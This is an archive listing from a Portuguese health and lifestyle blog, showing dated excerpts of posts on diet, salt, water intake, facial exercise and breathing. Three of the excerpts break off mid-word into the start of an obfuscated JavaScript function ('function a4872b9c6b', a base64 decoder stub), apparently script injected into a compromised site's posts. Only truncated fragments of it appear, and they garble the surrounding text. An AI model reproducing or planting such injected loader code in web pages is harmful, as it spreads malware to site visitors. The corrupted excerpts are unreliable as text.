Fev 18, 2016 | Equilíbrio, Saúde e bem estar
Compras do supermercado para uma vida saudável Ir às compras com a perspetiva de que a sua saúde depende daquilo que comprar será um bom guia. Mas, nem sempre percorrer os corredores do supermercado é uma tarefa fácil. Contudo, ficam aqui alguns conselhos para...
Fev 16, 2016 | Equilíbrio, Saúde e bem estar
7 Hábitos das pessoas felizes Qual é o segredo para ser feliz? Uma carreira de sucesso? Uma paixão eloquente? Uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Fev 16, 2016 | Equilíbrio, Saúde e bem estar
Como ultrapassar o inverno com a ajuda da medicina chinesa? A medicina chinesa, como terapia essencialmente preventiva, aconselha que primeiramente, através da escolha certa de alimentos, se procure prevenir, de forma natural e isenta de químicos, uma grfunction...
Fev 15, 2016 | Equilíbrio, Saúde e bem estar
Os músculos do rosto, pescoço e do colo também precisam de ginástica para continuarem firmes e com aspeto jovem. A ginástica facial atua como alternativa nos tratamentos para evitar a flacidez e as rugas causadas pelos movimentos involuntários que fazemos no dia a...
Fev 3, 2016 | Equilíbrio, Saúde e bem estar
Uma dieta equilibrada para alguém que function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jan 29, 2016 | Equilíbrio, Saúde e bem estar
12 Sinais de que Bebe Pouca Água – Não há no mundo nada mais refrescante do que um bom copo de água. A água no seu estado natural produz muito mais prazer e saúde do que um café ou uma gasosa ou refrigerante. Mas mesmo assim, muitas pessoas não ingerem a...
Jan 28, 2016 | Equilíbrio, Saúde e bem estar
Combinações de Alimentos, a importância de uma alimentação correta na manutenção da saúde. Os alimentos agem em conjunto Não conseguimos fazer uma alimentação saudável, se não combinarmos bem os alimentos… e o que é que isto significa? Que alguns alimentos em...
Jan 23, 2016 | Equilíbrio, Saúde e bem estar
Dicas para cozinhar com menos gordura Há muitas maneiras de reduzir a gordura na sua dieta e incluem-se aqui dicas que pode utilizar ao cozinhar. Inserem-se, genericamente, em 3 categorias: os alimentos que compra, o modo como os cozinha e o equipamento que usa para...
Jan 22, 2016 | Equilíbrio, Saúde e bem estar
10 Estratégias para reduzir o sal na sua dieta Porque é que o sal faz mal? É a pergunta que muitas pessoas fazem. A resposta é simples. O sal não faz mal, sendo até mesmo necessário à sobrevivência dos seres humanos e fundamental para manter o equilíbrio do...
Jan 16, 2016 | Equilíbrio, Saúde e bem estar
Aprender a respirar – sem respiração não há vida mas respirar é muito mais do que simplesmente mantermo-nos vivos. Descubra como usar a respiração a seu favor no combate ao stress e aprenda um truque infalível para melhorar a qualidade do seu sono. A maneira...
